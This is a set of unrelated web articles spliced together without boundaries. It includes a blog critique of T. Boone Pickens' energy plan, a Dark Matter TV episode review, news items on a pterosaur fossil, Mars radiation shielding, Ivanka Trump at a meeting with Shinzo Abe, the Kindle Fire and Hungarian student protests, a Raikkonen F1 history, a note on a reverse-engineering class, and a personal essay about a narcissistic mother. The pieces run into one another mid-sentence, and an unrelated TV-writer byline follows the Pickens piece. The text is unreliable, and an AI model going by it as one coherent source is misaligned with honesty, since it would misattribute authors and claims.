If you think you can trust Pickens, remember he contributed $3 million to the Swift Boat Veterans For Truth that buried John Kerry's 2004 presidential candidacy in a cesspool of lies. But things like that are not supposed to count any more, because now that he's presented his plan, Pickens says he's no longer a Republican, and has stopped contributing to political campaigns (even though he's a McCain supporter).
Pickens insists his plan is not about making money for himself, says he's strictly acting as a patriot. After all, he says, he's 80 years old and worth $4 billion. But if you really think his motives are unselfish, consider just one example: Pickens has bought up ground water rights for 200,000 acres in one Texas county for $75 million, estimating his investment will someday be worth over $1 billion."I know what people say -- water's a lot like air. Do you charge for air? 'Course not; you shouldn't charge for water," Pickens said to CBS News two years ago.."Well, OK, watch what happens. You won't have any water."
In other words, the former Swift Boat financier and corporate raider is still a real sweetheart. Here's more about the Pickens Plan from one of my favorite bloggers, Kevin Drum of Washington Monthly:
What Pickens actually wants to do is use the windmills to replace the electricity from existing power plants that run on natural gas. Then we can use the natural gas to run our cars.
Hmmm. That's a bit of a kludge, isn't it? Why do it that way? Is it really easier to build a massive infrastructure for fueling NG cars than it is to build an infrastructure for electric cars? And who's going to force all those gas-fired power plants to shut down anyway?
Well, as near as I can tell, here's the story. Pickens wants to build his electricity transmission facilities on a strip of land 250 feet wide and 250 miles long that starts at his farm in Roberts County, Texas, and terminates in Dallas -- and that's a strip of land that would normally be pretty hard to acquire. But Pickens managed to get the Texas legislature to use its power of eminent domain to hand it over to a little water district he created with his wife and a friend. Pickens plans to use it to pipe water at enormous profit from his land to Dallas (apparently he's been buying up massive water rights from the Ogallala aquifer), and as long as he's got all this cheap land, he figures he might as well build electricity-transmission towers on it too.
Clever -- and typically Texan, no? Still, why not just sell the electricity? Why the natural gas switcheroo? Turns out Pickens has a vested interest there too.
Here, Drum excerpts two paragraphs from an op-ed by Anthony Rubenstein, a consultant on clean technology, in the July 29 Los Angeles Times:
Along with being the country's biggest wind power developer, Pickens owns Clean Energy Fuels Corp., a natural gas fueling station company that is the sole backer of the stealthy Proposition 10 on California's November ballot.
....But a closer read finds a laundry list of cash grabs -- from $200 million for a liquefied natural gas terminal to $2.5 billion for rebates of up to $50,000 for each natural gas vehicle. Much of the measure's billions could benefit Pickens' company to the exclusion of almost all other clean-vehicle fuels and technology.
So the windmills are an excuse to condemn land for a water pipeline, and the natural gas piece of the plan benefits Pickens' NG fueling station company. And while natural gas burns cleaner than oil, it's still a fossil fuel that's found mostly in Russia and the Middle East. Increasing our dependence on gas does little in the long term to promote energy independence.
Now, generally speaking, I don't have any problem with people making money from clean energy. That's how we're going to get more of it, after all. But between his water-fueled eminent domain land grab in Texas and his support for a $5 billion bond measure in California, Pickens sure is using a lot of government dough to benefit himself. Something tells me there must be a better way to promote wind power than this.
A lot of government dough, heck, if the Feds support the Pickens Plan, he'll end up with a lot, lot more. The big question is whether the rest of us will end up with anything worthwhile.About the Author - Aimee Hicks Aimee works for a newspaper in North Carolina and has a BA in Broadcasting and Cinema. She has been a TV lover since before she really understood what TV was. She has a long list of shows that she loves to watch and can be found on twitter (@ahicks83) live tweeting about each new episode whenever she can. If the show is sci-fi, fantasy, comic book based, drama, or action the odds are good she watches it or has at least watched a few episodes of it. She also has a love for comedies 2 Broke Girls and Mom. She was the original creator and co-founder of LOST Video Island (lostvideo.net) which is still operating under the management of the very capable and skilled group she turned it over to.
You can email her at [email protected]. All Reviews) Recent Reviews
delivered a powerful episode that dropped more hints as to the pasts of the beloved Raza crew. This show could have easily become a copycat of space shows that came before it, but they introduced the series with this brilliant idea of a crew of amnesiacs coming together to survive. Over the course of last season, they became like a family but this season saw the original crew undergo many changes. They lost One to a senseless murder and lost Six to a senseless betrayal. In the midst of all the chaos, they gained three new additions to their crew whom they must now determine if they can trust. Things are not easy for the crew, but they never have been, and they have always prevailed over the chaos. Whatever is thrown at them, they can face it together because they are more than a crew they are family.Family was something Three had to face as he was finally revealed to be Titch from Fives Season One flashbacks. While its long been theorized that Three was Titch, the big mystery has been how that sweet little boy became the sarcastic criminal we've come to know. This episode allowed Three to confront his past and get some long awaited revenge for his murdered family. While Titch may have known the truth behind Larcan (Nigel Bennett) and his murderous ways, Three was a lot less forgiving. While Larcan and his crew left Marcus for dead, the crew of the Raza have come back for Three time and again. They have taught Three what a real family is like and that allowed him to make all the right decisions. While he couldn't save the little boys father, he did ensure that the kid did not endure the life he did at the hands of Larcan. He avenged his loving parents and learned many valuable lessons in the process.Anthony Lemke did extraordinary work throughout this episode. This has been a season of character evolution and Three is on a big journey as he matures into a man that his crew can be proud of. He's still going to be sarcastic and speak before he thinks, but this season we've seen a gradual shift to him thinking more with his heart. When he makes decisions, he is thinking about his crew and what is in their best interest. He has started to leave behind the lone wolf persona he had last season and has embraced his place within the Raza crew. No matter what, they'll always come back for their own, and I know that if any of the crew ever need saving, hell be front and center to help. His parents gave life to an amazing young man and the crew of the Raza, with a lot of help from Sarah, helped mold him into a man they would be proud of. I'm glad Titch's identity has finally been revealed and Three got to do what Marcus never could and avenge his parents.While Three carried the burden of the storyline in this episode, all of his crewmates were equally busy trying to track down leads and giving the audience new information. Before I get into that, I have to address the Android, because this was a big episode for her as well. Since the beginning, we've known she was a unique type of android. She isn't flesh and blood, and therefore doesn't have a heart, but she is always thinking and caring as if she did. This is her crew and she loves them and cares for them well beyond what an android should. The signs that she was flawed have been evident for quite some time, but it is those flaws that make her so endearing to the crew. She has never let them down and they treat her as a member of the crew. It was contrary to everything she is to even think of stealing something for Five, let alone actually doing it.Victor (Brendan Murray) saw her uniqueness and appreciated it in a way that no one else ever could. I found it immensely interesting that the show not only addresses the Androids uniqueness but also made it clear that she's not alone. Still, even within the ranks of flawed androids, she's in a class all her own. While it took an upgrade for the others to fully embrace their individuality, she is already on track with it. Even with her current programming, she was capable of experiencing feelings for Victor. She even wanted to bring him home to meet her crew, whom she thinks of as her family. Victor may not have come back with her but I hope this isn't the last we've seen of him or the other rogue androids. Besides, Victor got the Android in a dress, which means we all got to see Zoie Palmer dressed up out of her Android uniform, so that alone should make him someone the fans like. Id love to see the Android get to confront the topic of emotional feelings more and I think Victor is a great conduit for her to explore those feelings. Though, I wouldn't mind seeing her form an emotionally romantic bond with some member of the crew. That would make for a truly unique take on a show based relationship.Zoie Palmer has done phenomenal work as the Android, and has shown her evolution with precise acting and soulful eyes. It is her eyes that convey so much of the Androids newborn personality and its a fascinating thing to watch. Watching the Android birth this unique personality is a cool and interesting story, and couldn't be in any better hands than Palmers. With the upgrade in the Androids hands, the question is when, not if, shell use it. A bigger question is how the crew will react to a more human version of the android they've come to know and love. I'm also curious if she will adopt a formal name, should she accept the upgrade. This was the birth of a storyline that I can't wait to see play out as the Android has to grapple with the same questions of identity as the others. This question of identity is one that every person must confront at some point in their lives, and it makes her, and all the characters, all that more relatable.Considering identity was a big theme of this episode, it's no surprise that they started to delve more into Devon and Nyx's mysterious pasts. Devon's dark secret seems to stem from some sort of drug addiction, but that doesn't seem to have hindered his ability to save Six. The more we get to know him, the more confident I am that he was either a drug smuggler or botched some high profile surgery that landed him facing the futuristic version of a malpractice lawsuit. For now, what matters most is that he saved Six and brought Roger Cross back to our screens. For that reason alone, hell probably get a pass from a lot of viewers. He seems to have a good heart and is caring, so I think Two will fight to keep him around. I did detect a smidge of something when they were talking at the start of the episode. She is still mourning One, but I'm not ruling out the possibility that something could form between them one day. Though I hope that is sometime away, because Id prefer to see both characters embrace their demons first.Nyx remains the most fascinating of the new characters. Not only did she match Two blow-for-blow back on Hyperion-8, but she took on Four and matched him in skill level. Two was impressive but being able to force a drawl with both her and Four is inhuman. There is something supremely unique about her and, whatever it is, she is certainly in good company on the Raza. I did find it somewhat odd that Two took Nyx along on the Transfer Transit recon mission, given that Nyx is still in the dark regarding Twos origins, though she proved herself more than worthy of the tagalong when she pulled out an impressive ploy to get Two her answers. Also, props to the show for giving Melanie Liburd a reason to grace us all with her natural accent, but it also annoyed me a bit that they are making her cover it over in the first place. I love the British accent, so I always find it unfortunate when actors have to cover them over. I get that some North Americans have trouble with accents, but Liburd has a very clear voice and her pronunciation is flawless so I wouldn't object if we come to find out that Nyx has been covering over her own accent. I would be okay with the show finding some excuse for Liburd to revert back to her natural accent. However, if that can't happen, then I would love to see more undercover situations that would give her a chance to use it more.Who or what Nyx is remains a great big mystery, but Arax is a little more cut and dry. He was hired by Alicia to obtain Fives whitehole chip for some nefarious means. The interesting thing about Arax is I think the crew has kind of grown on him, but he sorely underestimated Five by trying to steal from her. She played him in the most epic of ways and left him empty handed. He seems hell-bent on retrieving the chip and earning his payday, which wont be easy given that Five figured out his deception. What I'm curious about is that the crew has proven they are capable of forgiveness, even after a betrayal, so would they be open to welcoming him back one day? The difference between him and Six is that Six had a place in their lives while Arax never really proved himself. I suspect that the next encounter between him and the crew will not go in his favor. They will fight for Six but they will fight against Arax. Now that they know people are actively after Fives device, I'm curious to see where they go from here.With everything else going on, they still had their focus on helping Six. He betrayed them, but Two still believes in him and pulled out all the stops to save him. She sees the good in him and knows that he can be a valuable asset to the team. Whether she thinks she can reform him or use him against the G.A. is a big unknown, but she made sure that Devon had all he needed to save Six. During the surgery, I found it interesting that Two had Nyx on standby with her. Nyx seems to have definitely earned Twos trust and I can't wait to see these two work together more. Now that we've seen Nyx prove herself in fights, she seems like an extremely valuable asset to the team, and that doesn't seem lost on Two.Another part of this episode that I really enjoyed was the fact that it showed Two and Fives closeness has repaired itself after what happened at the end of last season. Even after their memory confrontation in the last episode, I would have expected Two to shy away from Five. Instead, those events seem to have brought them closer, with Two seeking out Fives rendition of the building they saw in the flashback. Thanks to that, we now know that Twos origins as Rebecca began way back on Terra Prime, aka Earth. This isn't the first time we've heard about Earth so I have a strong feeling well be seeing a familiar planet in the very near future. Earth holds connections to at least Two and Six, so a visit here promises for some intense times for those two. I also still have a strong feeling that Three and possibly Five have ties to Earth as well, so I'm excited for the day we see Earth make a guest appearance on the show.This was a strong and powerful episode with an incredible amount of character growth. I think this is my favorite episode yet this season and that's taking into account that I adored the first two episodes. The performances in this episode were full of heart and the story was phenomenally crafted. Given the hype and excitement promos and images have done to build up the next episode, I think this one may be short lived as my favorite episode, but for now, it gets to hold onto that title.Be sure to tune in next week to see what happens with the Android and Two's need for vengeance for One. The episode airs nextHit the comments with your thoughts about this episode. Did you like the Titch reveal? Are you excited to see what happens with the Android?Due to an ongoing family emergency I wasn't able to do a preview this week. So here's the next animal and all of you can have fun guessing who it is referring to. Which character did Joseph Mallozzi describe as a? The winner gets bragging rights. I'll reveal the answer in an upcoming article.The fossil of a pterosaur discovered just outside Dallas, Texas, may change what we know about the evolution and spread of some of the West’s giant flying reptiles, scientists say.
The specimen was found near the reservoir of Lewisville Lake just north of the city
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a long time for humans to be away from the protective covering of Earth's atmosphere.
According to the National Space Biomedical Research Institute, astronauts exposed to heightened radiation levels in outer space risk a variety of health problems, including nausea, fatigue, skin injury, changes in white blood cell counts and the immune system, and – over the longer term – damage to the eyes, lungs, gastrointestinal tract, and central nervous system.
In other words, a 17-month-long dose of space radiation would be seriously bad news.
The good news, though, is that water and organic materials can both be effective shields against radiation exposure, and any manned space voyage will necessarily involve plenty of both.
MacCallum said the Inspiration Mars spacecraft could leave Earth with its walls lined with bags of drinking water and food. Then, as the astronauts consume these provisions over time, the empty bags could be replaced with others that the craft's occupants had filled with solid and liquid human waste.
Don't think about what's in there. Don't think about it... don't think about it...
NASA is already working on a system that uses osmosis to separate clean, drinkable water from urine. MacCallum proposes that a similar system could be used to extract moisture from feces, as well.
"Dehydrate them as much as possible, because we need to get the water back," MacCallum said. "Those solid waste products get put into a bag, put right back against the wall."
Based on the current Inspiration Mars designs, those bags of water and waste will give the astronauts a 40cm-thick shield surrounding the craft, which should be enough to cut down the background radiation of space to tolerable levels.
It won't be enough to block the kind of severe radiation spike the Mars voyagers would face in the event of a solar flare, however. MacCallum says the Inspiration Mars spacecraft should be able to keep the upper rocket stage of its launch vehicle pointed toward the Sun to provide some protection, should a flare occur – but there are no guarantees.
Radiation isn't the only risk the potential Mars astronauts will have to contend with, either. There are other health issues to consider, such as bone loss and muscle atrophy, and there are psychological concerns, too.
In February, Tito said that he would like his astronauts to be a couple, preferably married, to help offset some of the psychological difficulties. But it's unclear whether there will be any way to shake off the dread that comes when you realize you're hurtling through outer space in the world's largest – and, eventually, fullest – portable toilet. ®President-elect Donald Trump has repeatedly said that there would be no conflicts of interest during his administration because his vast business empire would be in a “blind trust.” But White House ethics lawyers in both parties have criticized that, noting that having his children run the company means it would be neither blind nor a trust.
The very first meeting that the President-elect held with a world leader, Japanese Prime Minister Shinzo Abe, is prompting further criticism—even alarm. According to photographs taken at Trump Tower in New York City and published this week, the session was attended by Ivanka Trump, who has no government security clearance and is an executive at the Trump Organization.
“This is not the way we behave in the world’s leading constitutional democracy,” says Norman Eisen, special counsel and ethics adviser to President Barack Obama between 2009 and 2011. “It’s like something out of a tin-pot oligarchy.”
Members of the press were also barred from the meeting, adding to building criticism that a President Trump will not honor White House traditions of transparency. Ivanka Trump’s presence apparently only became public because the Japanese government released photos; it is not clear whether she was present for the entire meeting.
Ivanka Trump sat in on her father's meeting today with Japanese Prime Minister Shinzo Abe, per handout photo pic.twitter.com/tEbfYYeJFA — Jennifer Epstein (@jeneps) November 18, 2016
Meanwhile the New York Times reports that Jared Kushner, Trump’s trusted son-in-law, consulted a lawyer to find out how he could join Trump’s forthcoming administration without running afoul of federal laws prohibiting nepotism. Kushner was also present at the Abe meeting, according to another photo published by Reuters and the Japanese government. He too lacks government security clearance. (A Trump campaign spokesperson did not immediately respond to a Fortune request for comment.)
In an interview with Fortune, Eisen says Ivanka Trump and Kushner’s apparent presence at Trump’s first face-to-face meeting with the leader of one of our key allies was “shocking” and unprecedented. “If you’ve got one member of the power couple—Jared Kushner, whispering in the President[-elect]’s ear—and if you’ve got the other, the wife and daughter, who is running businesses, it merges the Trump Organization and the United States into one huge conglomerate managed by the Trumps for their own interests,” he says.
He adds that the fear is that their involvement will turn “our intelligence community into a management consulting firm for the Trump family business. That can’t be right. Ivanka must go, and Kushner can’t stay.”
Eisen and Richard Painter, White House ethics adviser to President George W. Bush between 2005 and 2007, on Tuesday wrote an op-ed in the Washington Post urging Trump to put his “conflict-generating assets in a true blind trust run by an independent trustee.”
Unlike most other federal employees, the President of the United States isn’t bound by the federal conflict of interest law. But Eisen tells Fortune that several lawyers, including those who are part of the Republican party, are “worried about this unprecedented blurring of lines” and President-elect Trump should “expect massive litigation if he proceeds on this collision course.”
Update 2:30 pm: A source close to the Trump family claimed the meeting was informal but acknowledged that the Trumps needed to develop new protocols now that Donald Trump was assuming the presidency.Amazon has announced a new tablet called the Kindle Fire and a $99 Kindle Touch at a press event today in NYC. Like the successful Kindle e-reader, the Kindle Touch keeps its e-ink screen, but both the Kindle Fire and Touch now integrate heavily with Amazon cloud storage.
The $199 Kindle Fire is a full-color, TI OMAP 4 dual-core tablet running a customized version of Android that will have cloud access to movies, songs, and Android apps. The tablet has a 1024x600 resolution, is 11.4 millimeters thick, weighs 14.6 ounces, and uses Amazon's Whispersync service to access a "carousel" of media selections, and users can "pin" favorites from the cloud to their device.
A new browser called Amazon Silk is included on the Kindle Fire that "lives" in part on Amazon's Elastic Compute Cloud service, which helps the tablet to load web pages very quickly. Silk stores common files from around the web in cache on EC2, allowing it to pass them to the Kindle Fire to speed up load times, and can predictively load content for your next page click.
The Kindle Fire will not be capable of 3G access (fitting, given that it passes media and data back and forth to the cloud with abandon). The cloud storage is supplemented by 8GB of local storage on the tablet.
The new Kindle Touch weighs 5.98 ounces and does not have a capacitive screen; instead, it uses infrared sensors to accept touch input. The device is about the same size as previous Kindles and no longer sports a keyboard. Jeff Bezos, CEO of Amazon, stated at the event that Kindles will now store books for free in the cloud, and will have an "X-ray feature" that precaches information from dictionaries and Wikipedia that is relevant to the displayed text.
The $99 version of the Kindle Touch will be WiFi-only, and a $149 version with 3G access will also be available. Bezos also noted that there will be $79 non-touch version of the Kindle for customers who "don't want touch." Amazon says that the new Kindles turn pages 10 percent faster than before, and though they are smaller, they still have the same 6-inch screen as the previous Kindle.
All prices stated above are for the "Special Offers" versions of the Kindle, which display ads while the readers are inactive. The WiFi-only Kindle Touch without ads is priced at $139, and the Kindle Touch 3G without ads is $189. Currently, there doesn't appear to be a "Special Offers" version of the Kindle Fire.
The Kindle Fire ships November 15. The non-touch version of the new Kindle ships today, while the other two touch versions are available for pre-order now and ship November 21.Hungary’s undergraduate students Wednesday continued demonstrating against the government’s heavy-handed move to cut state subsidies for university tuition, saying the government snubbed them.
The demonstration followed a massive protest on Monday after the government said it would reduce the number of students eligible for free tertiary education amid austerity measures. According to the government, it’s a move designed to force students to better plan their careers and push them to graduate in a timely fashion, which would reduce unemployment among people with university degrees.
“How come university undergraduates are demonstrating? These changes don’t even affect them,” said Andras Giro-Szasz, a government spokesman.
“These changes have been thoroughly discussed with the student organizations last year. I wonder why they are surprised,” said Viktor Orban, Hungary’s prime minister.
“These changes are not against the students, but for them,” the human resources ministry’s state secretariat responsible for education said in a statement Monday.
Undergraduate students, who said the government had failed to address their needs and concerns, staged a protest on Wednesday at Budapest’s Technical University and took to the streets.Kimi Raikkonen was at the centre of controversy when he made his Formula One debut 15 years ago.
FIA president Max Mosley said it was “wrong” for the 20-year-old, who had started just 23 car races, to be granted a superlicence to join the world’s elite drivers in F1.
As was the case when Max Verstappen arrived in F1 last year, the FIA began planning changes to its superlicence. In a further similarity, Raikkonen’s arrival was taken by some as proof that the current generation of V10-engined F1 cars were too easy to drive.
Twelve months earlier, talent spotter Steve Robertson had caused a stir by guiding Jenson Button into F1 with Williams from British Formula Three. But Raikkonen had even less experience.
The eight-year-old from Espoo, just outside Helsinki, had originally dabbled in Motocross before switching to karts in 1987. Within two years he was winning domestic championships. But money was tight for the Raikkonen family, and for years he remained in the Finnish and Nordic ICA championships, unable to branch out into the more competitive European kart racing scene.
Raikkonen was 15 when he had the first chance to race abroad, but he swiftly began to make an impression. In an early appearance at the Monaco Kart Cup, an annual race held on a track using the Swimming Pool section and pit lane of the F1 circuit, he brought his car home despite the steering wheel suffering a breakage – he waved the offending part at his mechanic as he crossed the line.
He was back in 1998 to finish third despite having to drag his kart back onto the course following an early crash. He also won the Scandinavian and Finnish Championships that year. By now Raikkonen had been selected by Peter de Bruyn’s team – he and chassis maker Tim Gillard championed their young charge’s racing prospects as he took a strong second place in the 1999 European Kart Championship.
Raikkonen also had the backing of Peter Collins, who had previously championed British talents such as Nigel Mansell and Johnny Herbert. At Collins’ urging, Robertson began seeking a means to get the youngest into a proper racing car.
Raikkonen made a handful of appearances in the Formula Renault UK championship in 1999, but his Mygale chassis was not a competitive proposition and he returned to karting. However John Booth’s Manor team, which went on to run another future world champion in Lewis Hamilton before making their own arrival in the top flight, took a chance on Raikkonen for the 1999 winter series. He produced four wins from four starts.
Even better was to follow when he returned for them in the main championship the following year. While team mate Danny Watts won the season-opener at Brands Hatch, victory for Raikkonen in the second race at Donington gave him a four-point lead in the championship. He never looked back.
After the first ten races, all of which he finished on the podium and seven of which he won, Raikkonen already had the title in the bag. He’d also made successful forays into the European championship, winning at Donington Park and Spa-Francorchamps – the latter his first taste of a track where he has become an established master.
This brought him to the attention of Peter Sauber, whose team was running the established pairing of Mika Salo and Pedro Diniz in Formula One. Persuaded to give Raikkonen a test at Mugello in September, Sauber was impressed to see the youngster set a best time of 1’26.418 – within a second of Michael Schumacher’s Ferrari:
The team planned to place Raikkonen alongside Nick Heidfeld in an all-new driver line-up for 2001. Sauber admitted he had lower expectations of the more junior driver, “but he has surprised us a lot with what he has said about the car and how methodically he worked,” he said. “He is amazingly precise about his impressions in the car.”
But there was a snag: although Raikkonen was able to qualify for a superlicence his lack of experience meant he faced opposition within the FIA. As 2000 drew to a close the F1 Commission prepared to meet to discuss whether he should be allowed to race in F1 the following year.
The driver himself completed his national service and the media was beginning to get the first taste of his undemonstrative style:
On December 7th the F1 Commission voted almost unanimously to approve Raikkonen’s bid for a superlicence. But that wasn’t the end of the matter. FIA president Max Mosley had cast the single dissenting vote, and he stipulated Raikkonen serve a four-race probation period before the superlicence was confirmed.
“I do not believe that they adopted a defensible position in giving an inexperienced driver like Raikkonen a licence,” Mosley fumed. “It is quite wrong given that we have strict criteria for graduation into F1.”
“When there is a major accident caused by the presence of very inexperienced drivers in F1, I’m the one who will have to explain it to the world’s media and television cameras.”
Raikkonen was the only one of the four new drivers on the grid at the 2001 Australian Grand Prix to be given this treatment. CART IndyCar champion Juan Pablo Montoya, Formula 3000 race-winner Fernando Alonso and British F3 runner-up Enrique Bernoldi joined him on the grid – but only Raikkonen made it to the chequered flag in the points.
He gained his full licence with ease and was soon signed up by McLaren as a replacement for outgoing champion Mika Hakkinen. Much as with Verstappen last year, the concerns over Raikkonen’s promotion had proved misplaced.
And when Mosley’s autobiography appeared last year, it avoided any mention of the time he tried to withhold a licence from a future F1 world champion.
Route to F1In the 2012 version of Life of Binaries, there was a major revamp. The first time it was taught, Xeno didn’t have enough time to cover ELF as intended. Thus in 2012 because it was still taught as a 2 day class, the compilers material was skipped (because people could just go watch it online if they wanted) to make sure there was enough time for ELF.
But the biggest change was that the PE section was augmented with a training game, Binary Scavenger Hunt. This is a python script which generates randomizes binaries and randomized questions about those binaries. The students are quizzed immediately on the material they just learned, to reinforce it. And they are given some random questions from previous rounds at the end of each round, to keep other material fresh. This made a *major* difference in the class, as it was no longer mostly one long lecture on extremely oblique topics.
It also lead to some interesting data collection possibilities. You can see an example of watching student scores in the classroom on slide 55 of this presentation by Xeno.
Ultimately it would be great if someone could come up with a way to bring this game online so we could host it on this server, because Xeno doesn’t have the time to do that right now. If you’d like to help, email xkovah @ gmail.
Everyone else, enjoy the updated class videos.
p.s. Coming in July/Aug will be the videos for the Dynamic Malware Analysis classThis is a guest post by Eve Penman.
Some time ago, I saw one of Matt Forney’s articles in my Twitter feed entitled “5 Reasons Why Girls with Tattoos and Piercings are Broken.” My initial knee-jerk reaction was to think, “Hey, I resemble that remark!,” but since I do resemble it, getting upset over it would do me no good. I did not read the article since I did not want to be reminded of my imperfect brokenness at that time; the title spoke to me as truth and that was enough.
In my biased defense, my body mods are small, sweet and discreet. But just because I am not sleeved out in skulls nor have dangle-bobs hanging off my face it does not mean I am not broken, because I am broken and I work hard to hide it.
But why am I broken? That is the question I have not been able to answer until the past few weeks. I always thought it was just me being a fucked-up girl by design and that was how I was born. I had never considered that my brokenness may come from somewhere or from someone I least suspect. Once I discovered this bitter root which has caused me to become broken, I knew that I had to write about it to help others understand where their brokenness may come from and/or the brokenness of people in their lives.
The crux of this crazy conundrum is that I cannot write about it on my own blog due to my abuser—the cause of my brokenness—reading my blog. Not so much because they will abuse me any more than they already do by disregarding my feelings and condescendingly laughing at me, but because they live in a state of denial that no one can shatter. Secondly, a blog post inspired by them (even if it is to expose them) would only make their powers grow since, due to the denial, they are unable to be confronted nor are they able to accept what they are.
Big thanks to Matt for helping me reach people, especially men, through his site. Men must know what to be aware of and understand what some adult women have lived in, and what they, the men themselves, may have lived in without knowing it; or more accurately, what they may have lived under: the thumb of a narcissistic mother. Because of this, I do not blame men for not wanting women in their lives any more than they can tolerate. Trust me, sometimes I am all the woman I can tolerate, so I get it.
Now, I do not use the words “narcissist” or “abuser” lightly, but it is my truth based upon research when compared to the scary spot-on similarities in my own life. Granted, there are at least two sides to every story, so bear in mind you are only hearing one side to this story, yet it is the side that needs to be heard since it is often disregarded and ridiculed by narcissistic abusers.
Due to the work of professionals who have shared their knowledge and insight online for people to research freely, I feel that I can now say with a strong sense of assurance that my brokenness is ultimately the result of having a narcissistic mother who, more likely than not, only had children to serve her whims, mimic her likeness, and make her look good for others. Oh, the disappointment I have been!
You see, a narcissist does not have children because they want to love and nurture little humans so they can grow into healthy individuals and be successful on their terms. Rather, a narcissist has children because they need reassurance in their own self, they need to feed their ego, and because they want someone to unquestionably do their bidding; so say I, the lackey gas-pumping, errand-running, house-cleaning daughter, but I digress.
To deny that I was abused during my formative years (and am currently still being abused) is only a sign of how abused I am; talk about a totally FUBAR situation! Sure, I may not be physically bruised, nor do I have black eyes or marks from a wire hanger; however, my spirit is severely bruised, my sense of self has been beaten out of me time and time again to the point that I question if I am the crazy one who belongs in an institution, and to top it off I have entertained suicidal thoughts since the age of 13 (over 20 years of my life). The empirical fact that I have survived without ever taking pharmaceuticals for my mental stability is a testament to an ineffable force that lies within me. Thus, that which does not kills us makes us.
And yet, in spite of this mirage that I have lived in my whole life, I do love my mother and I want her to be well, even though the research tells me that will not likely happen since narcissists are unable to recognize what they are. Such is the twisted futility of my life and, more likely than not, the lives of many others.
Since this is how I feel about myself due to being raised under a neglectful and self-centered parent, it tells me there are others suffering from the same lot and may not know it, just like I didn’t know it. I am not so far gone in my subconsciously-inherited narcissistic traits to think I am the only one like this in the world; I know I am not that special. Sadly, that is also a sign of my abuse under a narcissistic mother, to put myself down because I cannot be that special since that is what she has made me believe about myself. FUBAR, indeed!
Well, the good news is that knowing is half the battle; the rest of the battle lies in kicking ass and fighting back. Now that I know what the root of my problem is—a narcissistic mother—I can now prepare myself with tools via knowledge in order to fight the battles on my terms. It is not my intention to place blame and leave it at that, far from it, but without first recognizing where my problems come from I cannot move forward into a healthier and, relatively speaking, mentally stable life.
Being raised by a narcissist makes it more likely for me to become narcissistic and take on those traits unknowingly; monkey see, monkey do, your kids learn by watching you. The more I learn about narcissistic mothers, the more I see where some of my traits come from which scares me on many levels; not for my own self but for the people in (and no longer in) my life who have been subjected to my unhealthy behaviors without my knowledge.
As well, I now have to reexamine all my relationships with the people I have let into my life over the years, both in person and online, because I most likely have—no, I know I have—unhealthy relational patterns based on my upbringing. The same as women that fall for a man who abuses them because that is how they were raised, growing up as a female with an abusive, narcissistic mother has blinded me to knowing what is healthy in a relationship with anyone, whether it be men or women.
You see, when you don’t know what you don’t know, it is hard to correct what you don’t know, because you don’t know that you don’t know it; and if other people don’t know it, then they don’t know what they don’t know and they are unable to help. Thus, the FUBAR cycle will repeat ad nauseam.
Fortunately, the light of hope that comes from discovering all this darkness is that I now have the tools and the talent to change myself by correcting the narcissistic traits through knowledge and insight, from not only professionals but daughters who have fought the battles and lived to share their stories in order to help others.
So, what are the traits of a narcissistic person? Herein enters the Diagnostic and Statistical Manual of Mental Disorders; more commonly referred to as the DSM, versions IV and V (4 and 5) are the most current editions.
Traits of Narcissistic Personality Disorder according to the DSM-IV and V (begins on Page 9):
Grandiose sense of self-importance, exaggerates achievements & talents;
Preoccupied with fantasies of unlimited success, power, beauty, brilliance;
Believes themselves to be special or unique, and can only be understood by others of high status;
Requires excessive admiration;
A sense of entitlement such as unreasonable expectations of favorable treatment or automatic compliance with their expectations;
Interpersonally exploitative by taking advantage of others to achieve their own ends;
Lacks empathy, unwilling to recognize or identify needs and feelings of others;
Often envious of others or believes others are envious of them;
Displays arrogant, haughty behaviors and attitudes.
Please keep in mind that this is a professional diagnostic manual that is continuously being revised and is designed to be used by trained professionals. There are many factors that go into diagnosing a person with any condition listed in the manual and these are only a handful of the factors; professionals disagree amongst themselves as to proper diagnoses when using this manual; as well, the manual has come under scrutiny by professionals as to whether the manual itself is bias towards certain individuals. Hence, caveat lector: let the reader beware.
However, sooner or later a person must think for themselves and apply what they know and have experienced firsthand; so say I, the writer of this article. I am not a mental health professional, though I have taken down testimony of numerous mental health experts and professionals via court proceedings; I have had the DSM applied by professional psychologists on myself for depression, anxiety, and PTSD; plus, I research information by professionals. I encourage others to think independently, read as much as possible from experts and professionals, and consult with professionals should a person feel the need.
Therein lies the beauty of the Internet; there is tons of information provided by trained and working professionals who apply the DSM in their daily work, and those professionals offer resources in laymen’s terms that non-professionals can understand, relatively speaking of course. A couple resources I have utilized through my research that may help others are as follows.
1. “Mothers Who Are Jealous of Their Daughters”
This is a Psychology Today article by Karyl McBride, Ph.D., marriage and family therapist and author of Will I Ever Be Good Enough? Healing the Daughters of Narcissistic Mothers. It’s an excellent starting point as it was my first introduction to the idea of narcissistic mothers after Googling “mothers jealous of their daughters.”
A helpful survey entitled “Is This Your Mom?” is linked at the bottom along with other resources. I recommend reading the survey as a starting point to determine if you, or someone you know, may have been impacted by a narcissistic mother.
2. NarcissisticMother.com
This site is run by Michelle Piper, marriage and family therapist. She has a free 38-page e-book available to download (I highly recommend); it includes a self-assessment and score sheet and provides easy-to-understand oversight to address and cope with the reality of having a narcissistic mother.
In order to download the e-book, you need to sign up for the email list (I also recommend), which offers helpful emails every few days that address how to cope and overcome the damage of having a narcissistic mother in one’s life. The site’s main page features a helpful 10-minute video of Michelle Piper discussing the impact of narcissistic mothers on children and the categories children are divided into.
A few more websites that are helpful starting points which offer resources via information, forums, stories, guidance, and tools to help people learn how to deal with a narcissistic mother are:
Sons of Narcissistic Mothers: a site dedicated to sons of narcissistic mothers.
Daughters of Narcissistic Mothers: understanding and healing for daughters of narcissistic mothers.
Motherrr!: Rebuilding relationships… one mother-daughter at a time.
Please keep in mind that professionals offer services; their free information is a way to promote and sell their services and/or books. However, that does not mean the information is incorrect. These are not the only websites that deal with this topic and I encourage people to continue researching until they feel for themselves that they have found what it is they are looking for that will help them best. As I stated already, think for yourself; apply what you know for yourself because everyone’s situation is different.
I do not make any money by recommending the information from these professionals. If you would like to thank me for my writing services by way of a donation, a private e-mail, or hire me to write for you, please do so here. This article is written in the hopes of helping others understand the gravity and underlying impact of narcissistic mothers so that they may help themselves and/or help people in their own lives that may be (unknowingly) living in such a FUBAR situation. Thank you.
Eve Penman is a former court reporter, a Jill with mad skills, and a renegade with a cause. Learn more about her by visiting her blog.
Read Next: “You’re Just a Troll”: The Manosphere vs. the Narcissistic Left
